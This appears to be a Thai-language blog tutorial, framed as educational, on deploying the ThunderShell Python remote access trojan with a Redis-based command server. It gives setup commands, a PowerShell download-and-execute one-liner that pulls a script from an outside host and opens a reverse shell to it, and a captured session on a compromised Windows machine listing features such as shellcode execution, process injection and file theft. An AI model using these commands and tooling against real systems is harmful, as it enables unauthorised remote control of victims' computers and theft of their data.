โพสต์นี้เพื่อการศึกษาทดสอบและใช้งาน python RAT ที่ชื่อว่า Thundershell โดย Thundershell ถูกพัฒนาโดย MrUn1k0d3r
ตัว ThunderShell base on Python ใช้ Redis server ในการ communicate และใช้งาน HTTPS ตัว ThunderShell พิเศษตรงที่มีการใช้ Certificate Pinning ด้วย โดยเครื่องมือที่คล้ายกับตัวอีกตัวคือ PoshC2
1. ติดตั้ง Requirement Package
1 2 |
apt install redis-server apt install python-redis |
2. download ThunderShell
1 |
git clone https://github.com/Mr-Un1k0d3r/ThunderShell |
3. เข้าไปแก้ไข redis configuration ให้ binding port 6379
1 |
vim /etc/redis/redis.conf |
1 |
port 6379 |
restart Redis-Server
1 |
/etc/init.d/redis-server restart |
4. เมื่อ start ThunderShell จะให้บริการอยู่ที่ port 8080
1 2 3 |
python ThunderShell.py default.json ### หากต้องการแก้ไข config ให้แก้ไขที่ default.json |
5. สร้าง web server ที่ path root ของ ThunderShell
1 |
python -m SimpleHTTPServer 9999 |
ที่ฝั่ง Client
6. Download and execute PS-RemoteShell.ps1 เพื่อติดต่อกลับไปยัง Radis Server
1 |
IEX (New-Object Net.WebClient).DownloadString('http://target.com:9999/PS-RemoteShell.ps1');PS-RemoteShell -ip target.com -port 8080 -Key test -Delay 2000 |
7. Got shell
8. ทดสอบ interact กับ Client
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
(Main)>>> [+] Registering new shell x64 - 10.211.55.29:SUMEDT\sumedt [+] New shell ID 1 GUID is d85501a9-7c77-4c9d-9797-c68538c65b90 list List of active shells ----------------------- 1 x64 - 10.211.55.29:SUMEDT\sumedt (Main)>>> interact 1 (x64 - 10.211.55.29:SUMEDT\sumedt)>>> help Shell Help Menu ----------------------- background Return to the main console refresh Check for previous commands output fetch args (path/url, command) In memory execution of a script and execute a commmand exec args (path/url) In memory execution of code (shellcode) read args (remote path) Read a file on the remote host upload args (path/url, path) Upload a file on the remote system ps List processes powerless args (powershell) Execute Powershell command without invoking Powershell inject args (pid, command) Inject command into a target process (max length 4096) alias args (key, value) Create an alias to avoid typing the same thing over and over delay args (milliseconds) Update the callback delay help Show this help menu List of built in aliases ----------------------- wmiexec Remote-WmiExecute utility searchevent Search-EventForUser utility List user defined aliases (x64 - 10.211.55.29:SUMEDT\sumedt)>>> delay 0 Updating delay to 0 sumedt\sumedt (x64 - 10.211.55.29:SUMEDT\sumedt)>>> whoami Delay is now 0 (x64 - 10.211.55.29:SUMEDT\sumedt)>>> refresh sumedt\sumedt (x64 - 10.211.55.29:SUMEDT\sumedt)>>> net users User accounts for \\SUMEDT ------------------------------------------------------------------------------- Administrator anonymous DefaultAccount Guest sumedt The command completed successfully. (x64 - 10.211.55.29:SUMEDT\sumedt)>>> |
Source:: ThunderShell